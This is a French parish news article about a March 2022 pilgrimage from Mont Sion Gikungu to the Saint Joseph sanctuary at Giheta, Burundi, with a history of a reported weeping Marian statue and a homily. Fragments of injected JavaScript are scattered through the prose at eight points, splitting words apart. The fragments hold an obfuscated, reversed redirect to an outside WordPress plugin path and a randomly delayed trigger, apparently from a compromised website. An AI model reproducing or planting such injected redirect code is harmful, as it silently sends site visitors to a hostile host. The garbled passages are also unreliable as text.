Ce dimanche 20 Mars 2022, plus de soixante-dix fidèles des alentours ou amis du Sanctuaire de la Reine de la paix et la réconciliation de Mont Sion Gikungu ont effectué un pèlerinage de prière au Sanctuaire Saint Joseph de Giheta dans l’Archidiocèse de Gitega. Ce pèlerinage avait été bien préparé : un enseignement continu sur les sept toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}douleurs et Sept joies de Saint Joseph avait été dispensé par le rectorat du sanctuaire pendant sept samedis successifs. Il fallait que ce pèlerinage tombe un jour où l’Eglise célèbre ce saint patron des travailleurs pour que les fidèles sentent la saveur d’un tel événement, et c’est ce qui a été fait. Seulement le rectorat du Sanctuaire de Mont Sion a jugé bon qu’il soit avancé d’une journée, comme le samedi était suffisamment occupé par d’autres événements non moins importants à Mont Sion.

Le Père Recteur devant, suivi du Père Christian Dansuma, un Nigérian, actuel Socius du Père Maître des Novices au sin des Pères de Schoenstatt à Mont Sion, et tous les fidèles qui s’étaient fait inscrire pour le pèlerinage étaient bien présents au Sanctuaire à 6 heures et demie du matin pour la bénédiction d’avant le départ. Les bus transportant les pèlerins ont démarré à 7 heures vingt-six minutes pour arriver à destination à 10h 47 minutes, ce qui signifie un trajet de deux heures vingt-une minutes. La durée de ce trajet a très bien correspondu à deux types de prières : la récitation du Rosaire et les sept toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}douleurs et sept joies de saint Joseph. Arrivés dans les enceintes de la Congrégation de Frères Bene Yozefu de Giheta, les pèlerins ont été accueillis par le Frère Supérieur Général de la Congrégation, Frère Cyriaque Hakizimana avec à ses côtés Frère Salvator. Trois endroits ont été particulièrement visités lors de ce pèlerinage, la chapelle du Noviciat de la Congrégation le Sanctuaire de Saint Joseph et celui de Saint Joseph, espoir des malades.

Bref enseignement sur l’historique de la statue de la Vierge Marie qui a versé des larmes de sang à la chapelle du Noviciat

Selon les paroles de Frère Salvator, beaucoup de choses se sont passées depuis les année 1984 à nos jours qu’il n’est pas aussi aisé d’en faire un bref résumé de moins d’une heure. Un certain Paul Cyrille Mazarahisha, un jeune des environs de la congrégation a été accueilli au Noviciat pour y recevoir la formation. Ils étaient à deux dans la chambre, lui et Laurent Ntahemuka en ces jours-là. Une voie féminine appela Mazarahisha, mais son confrère ne l’a pas entendu. Seulement, lui et deux autres frères à côté ont affirmé avoir vu deux lampes allumées pour un moment dans la chambre où Makarakiza habitait puis éteintes par la suite. Le Frère Maître des novices a été informé cette nuit-même sans y attacher beaucoup d’importance. Il s’est sûrement dit que c’était un rêve. Mazarahisha a affirmé que la même situation s’est répétée à maintes reprises et chaque fois les samedis à 18 heures. Comme la nouvelle se propageait dans les environs, il y a eu des conversions en masses de la population, alors que des récalcitrants planifiaient de l’attaquer en cours de route. Ce qui est sûr c’est que le mois de décembre de l’an 1984 a été toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doublement dur pour Mazarahisha et le noviciat.  Une commission a été mise en place par l’Archevêque de Gitega pour faire le point sur ce qui était en train de se passer au noviciat avec tendance à affecter ses environs. Dans l’entre-temps, Sœur Christine HAKIZIMANA avait été sollicitée pour faire un suivi sur MAZARAHISHA. C’est dans cette chapelle du noviciat que la statue de la vierge Marie a versé des larmes de sang. Cet événement a semé une mésentente entre le clergé, certains se refusant de croire en la vérité des faits, d’autres y apportant leur assentiment, alors que bien d’autres encore se gardaient de tout commentaire. Il y a eu beaucoup de dévotion de la part des fidèles des environs qui n’ont pas cessé de faire des veillées de prières en priant pour la paix durable au Burundi. Les résultats de telles veillées de prières ne se sont pas fait attendre, il y a eu beaucoup de cas de guérisons.

Comme il y avait une grande mésentente entre l’Eglise catholique et le gouvernement du Burundi, sous le régime de la deuxième république dirigée par le Colonel Jean Baptise Bagaza, la toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}documentation s’y est impliquée et a pris Mazarahisha pour enquête avant de l’emprisonner pendant plusieurs mois. Dès cet emprisonnement, Mazarahisha a été en quelque sorte considéré comme n’étant plus entre les mains du noviciat ni même des Frères Bene Yozefu. Mais quand même, nous avons vu ou entendu que la crise de 1993 n’a été qu’une manifestation de l’avertissement de Mazarahisha. Les clauses des enquêtes de la commission de l’archidiocèse ont été déposées au niveau des instances habiletés. En 2004, Mazarahisha a été retrouvé par son grand frère dans une maisonnette dans les environs du quartier Carama à Bujumbura très souffrant et près de pousser son dernier souffle.  Voyant son état désespéré, le frère de Mazarahisha décida de le prendre pour la maison natale pour y rendre l’âme. Mais, il est mort à l’hôpital de Kibimba après que la famille ait décidé de ne pas le garder à la maison. Au premier moment, la famille avait voulu l’enterrer dans un cimetière commun des environs de chez eux, mais quand un des frères a été informé, il a consenti qu’il fût enterré dans un coin des plantations du couvent. Mais, là aussi l’enterrement n’y a pas eu leu, il a été enterré le lendemain dans un cimetière de tous les Frères.

Visite des pèlerins au Sanctuaire de Saint Joseph de Giheta

Après cette brève historique selon les termes de Frère Salvator, les pèlerins se sont dirigés vers le sanctuaire de Saint Joseph, situé près de l’entrée principale des enceintes de la maison-mère des Frères pour une célébration eucharistique présidée par le Père Herménégilde Coyitungiye avec à ses côté le Père Christian Dansuma. Les lectures ordinaires de ce troisième dimanche du carême ont tirée respectivement du Livre d’Ezéchiel (3,1-8a. 10. 13-15), la première épitre de saint Paul aux Corinthiens (10, 1-6. 10-12) et l’Evangile selon saint Luc (13, 1-9).  Le Père Herménégilde a procédé à prêcher son homélie, au début de laquelle il a tenu à rappeler que toute messe est une action de grâce. Mais il a voulu d’abord adresser ses vifs remerciements aux Frères Bene Yozefu de Gitega pour leur chaleureux accueil réservé aux pèlerins venus de Mont Sion Gikungu. ‘Un pèlerinage est un moment de se renouveler en force et dans la foi pour des gens qui ont soif d’être avec le Christ et de l’écouter’, a mentionné le Père Herménégilde. Il a tout de suite tenu à préciser que le Saint Siège invite tous les fidèles de la planète à prier pour la cessation des hostilités en Ukraine et la restauration de la paix durable dans ce pays, ce vendredi 25 Mars, en la solennité de l’Annonciation du Seigneur.

Le message de la vierge Marie est bien clair : elle nous demande de nous convertir et d’aimer tout le monde, même ceux qui nous ont fait le plus grand mal. L’Evangile du jour quant à lui nous met en garde en précisant que si nous ne nous convertissons pas, nous mourrons sans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doute comme les gens de Galilée que Pilate a immolés après qu’ils aient fini de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner leurs sacrifices. Les pèlerins sont allés chez Joseph, et celui-ci est comme le serviteur qui implore son maître d’attendre de faire couper l’arbre afin qu’il creuse autour de cet arbre et de le fumer. Les pèlerins avaient apporté à Saint Joseph un message suivant : ‘Nous avons entendu que tu as toujours été un homme si patient et courageux dans ta vie, apprend-nous et aide-nous à t’imiter et éloigne de nous tous les dieux qui ne valent rien, si ce n’est que vouloir emporter tant d’âmes’. Ici d’aucuns ont compris tant d’âmes qui ont été emportées par les crises du Burundi en 1993, Rwanda en 1994 et la République Démocratique du Congo dès 1996. En venant vers Saint Joseph, nous étions sûrs qu’il nous renverrait aussi chez la vierge Marie, et c’est ce qui s’est passé : nous avons d’abord visité la chapelle du noviciat et on nous a parlé de cette bonne Mère avant que nous nous sommes rendu dans le sanctuaire de Saint joseph’ a aussi précisé le Père Herménégilde Coyitungiye.

Nous tenons à préciser que les offrandes des pèlerins ont été présentées devant l’autel au moment de l’offertoire durant cette sainte messe qui avait débuté à 12h 05 minutes en présence du Frère Supérieure Général, d’autres frères et quelques fidèles venus se joindre aux pèlerins. Avant la bénédiction finale, le Frère Supérieur Général présenté une brève mais substantielle historique du Sanctuaire de Saint Joseph de Giheta.    

Historique du Sanctuaire de Saint Joseph de Giheta.

Hakizimana Cyriaque, Frère Supérieur Général des Frères Bene Yozefu a remercié les Pères Herménégilde et Christian ainsi que les fidèles de Mont Sion Gikungu d’avoir pensé à faire ce pèlerinage vers leur Sanctuaire juste au lendemain de la solennité de Saint Joseph. Il a aussi tenu à préciser qu’il avait reconnu un bon nombre parmi ceux-ci, ce qui lui a fait une plus grande joie. Il a considéré tout pèlerin et toute pèlerine comme ami et amie de Frères. Ce Frère, avant d’être élu Supérieur Général de la Congrégation, venait de passer plus de trente-cinq ans à la presse Lavigerie de Bujumbura où il a travaillé depuis 1984. Dans ses débuts, la Congrégation des Frères Bene Yozefu a débuté avec Monseigneur Anton Grauls, alors vicaire du Rwanda et du Burundi du temps d’avant l’indépendance du Burundi. Ladite institution vient de souffler ses soixante-quinze bougies d’existence et d’apostolat en juillet 2019, ceci pour dire qu’elle vu le jour en 1944. Elle est de la vocation enseignante, c’est pourquoi elle a dans ses enceintes une école technique et en dehors de celles-ci d’autres écoles sous sa surveillance. Depuis 2018, la Congrégation de Frères Bene Yozefu a un mouvement des laïcs qui lui sont associés.

La statue de Saint Joseph qui est dans le Sanctuaire de Saint Joseph de Giheta a été conçue et confectionné par un professeur de l’Ecole Technique Secondaires des Arts (ETSA) de Gitega sans commande ni quelque autre intention que faire l’art pour l’art, une motivation si précieuse et présente chez beaucoup d’artistes. Quand les Frères, en l’occurrence le Supérieure Général, l’ont vue lors de leur visite, ils ont été si impressionnés qu’ils ont décidé de l’acheter surtout que c’était juste à quelques semaines seulement de la célébration du jubilé ci-haut mentionné. Ils ont décidé de la placer à l’endroit où la procession du jubilé a commencé. Pour la protéger, la communauté a eu la bonne idée de bâtir un Sanctuaire dédié à Saint Joseph, une belle bâtisse pouvant facilement contenir près d’une centaine de pèlerins. Ce sanctuaire date du 29 avril 2019, presque une année après la célébration du jubilé de soixante-quinze ans de la congrégation. Le jour de la bénédiction dudit sanctuaire, Son Excellence l’Archevêque de Gitega a laissé, dans le livre d’or marquant le passage de hautes personnalités, la phrase suivante: ‘Saint Joseph pourra être invoqué comme patron du Burundi et espoir pour les malades’. Depuis ce jour, vingt-trois groupes de pèlerins, ceux de Mont Sion inclus, sont passés dans cet endroit combien reposant et tranquillisant pour des âmes troublées et cherchant à contempler la face du Seigneur.

En clôturant son discours, le Frère Cyriaque a tenu à mentionné que les pèlerins de Mont Sion ont compris que là où est Saint Joseph, la vierge Marie est toujours à ses côtés, c’est d’ailleurs la raison pour laquelle les pèlerins de Mont Sion sont allés saluer leurs frères et sœurs de Giheta. ‘Nous vous prions d’invoquer Saint Joseph pour bâtir nos familles, et par son intervention et son intercession, nous espérons qu’il n’y aura plus de cas de divorces au sein des familles, plus de polygamies ni de mésententes ou méconduites des enfants envers leurs parents et bien d’autres cas pareils’, a martelé le Frère Supérieur Général. Après ces mots, il a souhaité aux pèlerins de nouveau un agréable séjour au sein des enceintes de la congrégation et un bon retour sur Bujumbura.

Nous précisons que l’allocution du Frère Supérieur Général de la congrégation des Frères Bene Yozefu a été suivi par la remise de l’Image de la Vierge Marie par le Père Recteur au frère Supérieur Général. Il a voulu marquer un signe de l’unité entre la Vierge Marie et son épouse Saint Joseph, et par conséquent une unité forte entre les pèlerins des deux sanctuaires. Au sortir de la Messe, les pèlerins sont passés visiter le sanctuaire de saint Joseph, espoir des malades, juste à côté de celui-ci avant de prendre leur rafraîchissement prévu avant le retour. Comme le Foyer de Charité de Gitega n’est pas loin des enceintes des Frères Bene Yozefu, les pèlerins ont jugé bon d’y passer, juste pour voir le lieu bien connu pour accueillir les fidèles qui font leur retraite et saluer les seuls membres du Foyer qui seraient sur les lieux lors de ce passage. Le départ de Gitega vers Bujumbura a bien commencé à 16h 47 minutes pour durer deux heures et demie de temps. Tout s’est passé dans une ambiance de joie, de chant et de prière.

Nyandwi Méthode